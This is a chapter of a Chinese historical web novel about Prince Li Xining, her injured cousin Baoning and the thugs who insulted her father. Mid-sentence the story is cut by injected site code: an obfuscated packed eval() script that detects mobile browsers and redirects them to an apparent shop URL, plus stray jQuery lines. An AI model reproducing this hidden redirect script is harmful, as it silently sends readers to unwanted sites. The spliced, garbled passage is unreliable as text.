这话一出,在场瞬间鸦雀无声。
李息宁向秦玄良使了个眼色,他便立刻招呼了两个人上去,将李宝宁与他们分开。
他焦急的摸李宝宁的肩膀与胳膊,又见他脸上有伤,心疼得眼泪都要下来了,嘴里叨叨个不停:“哎呦喂,我的小祖宗呀……”
但说着,他脑中闪过一念——
万一几个小无赖不信李息宁的永宁郡王身份怎么办?
不行,他得想个办法作证一下!
于是立刻扭转身来,挺直胸脯、肃清神色,摆出了十几年宫中老人架势,掐细了嗓音:
“大胆——”
秦玄良僵硬地掐出一根兰花指,在这几人脸上指来指去,怒骂道:“你们这些个泼皮无赖,竟敢对大王如此无礼!来人呐!”
李息宁有些无语。
秦大伴的戏真是足,他实在是太像个太监了!
那三人你看看我,我看看你,看看秦玄良,再看看手中的金鱼符,纷纷蹙起了眉头,脸色也变得有些发绿。
好像……确实是惹了不该惹的人了。
这动静闹得太大,越来越多的脑袋从楼梯口探了出来,李息宁心中一阵烦躁,清了清嗓音,低声吩咐:
“秦大伴,让看热闹的都出去。”
秦玄良于是迅速收了那副矫揉做派,立刻摆出凶狠的架势撵人:“去去去,都散了去,瞧什么瞧,一个个的,有你们什么事!都下去、下去!你也下去!”
李息宁看起来依旧沉静,沉静得如一池秋波不兴的湖水。
她伸出手,掌心向上,对拿着她金鱼符的人说:
“东西还我。”
对方颤颤巍巍将那东西递了出去,被李息宁看也不看一把夺过。
三人全部僵立原地,紧张兮兮地观察着她,四周陷入一片死寂,空气仿若凝固,只隐隐能听见楼下似有若无的脚步声,又很快消失。
得知了她的身份后,他们虽然怕极,但心里仍有一个念头不住地想——
难怪此人生得如此清隽美丽,原是皇太子的独子,这么说来,那传言真的不假,皇太子也该是如他一般皎洁、明亮,不似肉胎凡骨,也只有那样的人传出这等丑事,才值得人细细咂摸……这念头兀地冒出,却又引来一阵胆寒。
若这人真是永宁郡王,那他们刚刚那番言谈,岂不是在对子骂父?
更何况,还尽是下流粗鄙之语。
坏了。
永宁郡王准得杀了他们不成!
果然,永宁郡王神色不明地低垂着眼睛,青白色的指尖在鱼符上来回摸索:“你们都是谁家的?且报上名来。”
他们当然不敢作答。
“我现在问——”
李息宁掀起眼皮,语气冷硬:“是不想把事情闹大,你们最好如实作答。”
于是这几个泼皮小无赖只好挨个报上名来,李息宁在心中一一记下,点了下头,说:
“知道了,走吧。”
“……”
其中一个瘦瘦的有些不敢相信,不是吧,这么简单便放他们走了?
他张大着嘴巴,吭哧吭哧喘着热气,竭力观察对方脸上的微表情,却见李息宁无愠无怒,堪称平和,似乎真没有要继续追究的意思在,他看向两侧,两个兄弟也是一脸惊讶……
他哆嗦着身子,语无伦次道:“大王,这、这就,这就让我们走了?”
“那你还想怎样?”
李息宁语气有些不耐烦。
“啊、啊……”
这话如雨露甘霖浇在心头,霎时间,那人蒙获再生,立刻感恩戴德,什么骨气、什么尊严,就当这些东西从未有过!全都不要了!立刻双膝一软,扑通一声跪倒在地,猛磕了一个响头:
“多、多谢大王,谢大王饶小的不死,小的以后一定洗心革面、重新做人!小的再也不敢了!!”
其他人一见他这样来事,立马有样学样,也跟着捣蒜一般磕起头来:“大王真是人美心善、大人有大量,小人有眼不识泰山冒犯大王,大王还饶小人一条活路,大王真是活菩萨降世——”
李息宁两眼一黑。
不是,怎么还拍起马屁来了?
混混的职业修养吗?
秦玄良刚折回来,就碰上这动静,他一脸无语,眉头都快拧成麻花了,一手一个把他们从地上揪起,骂道:“你们几个不长眼的小东西,我们大王都让你们走了,还那么多废话,赶紧滚!别在这里碍眼!”
于是他们连滚带爬地下楼了。
这几人走后,才算是得了清净,李息宁长叹一口气,拉着宝宁到一旁坐下。
她打量他脸上的伤。
——下巴上有几处淤青,嘴角也破了,鲜红的血液顺着伤口流出来,一路流到了脖子里,再被他胡乱用袖子一擦,晕成了好大一片,红艳艳的,看得令人心疼。
宝宁见她只是盯着自己看,也不说话,竟有些按捺不住,伸出手去抓她的胳膊,埋怨道:
“不是,你这就放他们走了,那我挨的打算什么?”
“谁叫你和他们打架的?”
李息宁伸出指尖,在宝宁下巴上轻轻一蹭,用指腹刮去了残余的痕迹,她继续说:
“我不放他们走,那还能怎样?这事你要我怎么拿到明面上去说?再说了,若真治他们的罪,他们一家人都得受牵连,不过是几句过于唐突的话,当作没听到也就罢了。”
宝宁手撑在膝盖上,和她靠得很近,他上身向前倾去,两人几乎是额头贴着额头,他任由她的手指在自己的脸上抚摸,显然对她的答案不满意,小声说:
“你的心也太好了。”
“我不是心好,”李息宁顿了顿,浓密漆黑的眼睫也跟着一颤,她说:“我是已经习惯了。”
秦玄良取了药酒来,李息宁便起身和他分开,挽起袖子,用镊子夹起一朵棉花,在药酒里蘸了蘸,再去宝宁的伤口边缘轻擦。
她动作仔细,目光很轻柔地落在他的伤口上:“在长安城,没人把我们放在眼里,爹爹的太子坐的稳,是因为有翁翁、有杨太尉在,其实,在表哥你回来之前,一个陪我玩的人都没有。”
宝宁微微一愣:“……”
他看着她,眼前这位金尊玉贵的永宁郡王,竟然露出了一副很落寞的表情。
说实话,在今天之前,他从未想过这样的表情会出现在李息宁的脸上。
在他的记忆里,李息宁永远都是骄傲、明媚、高高在上的。
“他们说的那些话……‘都知’我知道,是供人消遣玩乐的,‘破鞋’是什么意思我不懂,但总归也不是什么好话。”
“我也不想让他们这么说爹爹,但我没有办法……”
她垂下眼,没有再说话了,她沉默了很久、很久,一直到李宝宁觉得她就会一直这样沉默下去,轮到他该说些什么了,可他又该说什么,又能说什么呢?
这么想着,他看到有什么明亮的东西贴着她的侧脸滑了下去,如夜空中划过的一颗流星,转瞬即逝,他甚至都没能看清那是什么,李息宁就一抬手,将那残余的水痕擦去了——
哦,那是一滴泪。
一瞬间,存在于李宝宁心中的永宁郡王,崩塌了。
那个骄傲、明媚、高高在上、甚至可以说是无所不能的永宁郡王,就这样,被一滴泪水,轰然击碎了。
永宁郡王的躯壳碎成了一片又一片,如同剥离的墙灰,扑簌簌地落了下来,堆积在地上,而藏匿其中的、脆弱的血肉,第一次呈现在了李宝宁的眼前,他忽然意识到,原来永宁郡王和自己一样,其实也不过是肉体凡胎,也会哭、会难过、会伤心……
也没什么了不起的。
“我也会变成这样吗?”
永宁郡王问:“表哥,以后……也会有人像这样说我吗?”
“我……”
她的声音很轻,像细腻又朦胧的雨水,没入他的心田,令他想起了初春时节冰雪消融后泥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401461|200205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
土中的潮湿感,很快地,他觉得有什么东西在生长、在蔓延,像是枝条一样,从他的四肢长出,再顺着他的每一寸脉络,一寸寸爬向了心间,在炽热的血肉里,怦然开出了一朵颜色瑰奇的红莲。
但他的心在跳,很用力地跳,他全身的血液和血管都在跳,在舞动、在叫嚣,似乎有什么东西要呼之欲出了——
他不知道那是什么。
他睁大了眼睛,说着就要站起来,但因动作幅度过大,牵扯到了身上的伤,他又老老实实坐了回去,但气势依旧在:
“我看谁敢!”
他很笃定地说:“有我在,我不会让他们这么说你的,也不会让他们这么说舅舅!”
李息宁眼眶红着,却笑了笑,说:“明明你都打不过他们。”
宝宁辩解:“那是他们人多,下次我叫上大哥,叫上三郎——”
“好了,表哥。”
她放下镊子,伸出手,静静地捧住了他的脸:
“你有这份心,我已经很高兴了,再怎么说我们也是读书人,所谓君子动口不动手,是不会轻易和人打架的,再说了,打到身上,不说他们,我们自己不痛吗?”
宝宁也笑了。
李息宁又变回了他熟悉的那个永宁郡王,永远骄傲、永远平静、永远对他无奈,她的手在他的脸上轻轻揉了一揉,像是在揉搓什么毛茸茸的小动物,松开他后,她转过身继续蘸药。
李宝宁脸上带了伤,进家门的时候鬼鬼祟祟的,从李息宁那里要了一张折扇挡在脸上,生怕被人瞧见。李息宁跟在他身后,打算先去和赵王与公主见面,但刚走进第一道门,就碰见了蕙娘。
蕙娘见李息宁来了,高兴地手舞足蹈,又见身旁的李宝宁用折扇掩面,顿时生出几分嫌弃之感:
“我说二哥,你在外面装装文人雅士也就算了,这都进了大门了,怎么还这么装?快给我拿下来!”
李宝宁自然不肯,跟她一番追逐,李息宁夹在他们当中,心想这事躲得过初一也躲不过十五,于是拽住了李宝宁,拿过了他手中的折扇:“好了表哥,不要再闹了。”
“哇——!!”
蕙娘见了李宝宁张灯结彩的脸,惊得大叫:“二哥,你怎么叫人给打成猪头了!”
宝宁说:“你才猪头!”
听见这边动静,三郎远远跑来,也跟着凑热闹:“哪来的猪头?什么猪头?”
蕙娘说:“快瞧二哥的脸!”
三郎一看,也跟着“哇”了一声:“二哥,你脸上这是开酱菜铺了呀!”
李息宁赶快说:“不要闹了,你们先回去,姑姑姑父在吗?”
“在呢!”
蕙娘说着,凑到李宝宁跟前,对着他的脸看了又看:“二哥,你不会叫人给打了吧,你身上有伤吗?疼不疼呀?要不要叫大夫来看看?”
三郎说:“二哥怎么会叫人打,谁敢打二哥,他打别人还差不多!”
李息宁心道:猜得倒是准。
不过她不打算让这两个孩子担心,便站出来笑上一笑,宽慰道:“没有什么大事,你们两个先回去吧,这事一句两句说不清,我们先去见姑姑姑父,他们现在在哪呢?”
蕙娘说:“在后院呢!和舅舅说话呢!”
“……”
这话一出,李息宁瞬间脚步收住,竟然僵在了当地:“……什么?和谁?”
“和舅舅呀!”
李息宁眼前一阵天旋地转。
……他怎么来了?
怎么这时候来了?
难道?
他已经知道了?
这么想着,她心里发慌,不知该继续往里走,与他见面,还是该掉头出去,彻底装作什么事都没有发生过。
“啊?你们不知道吗?”
蕙娘盯着他俩,都是茫然无措的样子,于是便大声道:
“二哥,宅家封了你做郡王了!舅舅亲自过来给你念圣旨呢,你该不会不知道吧?!”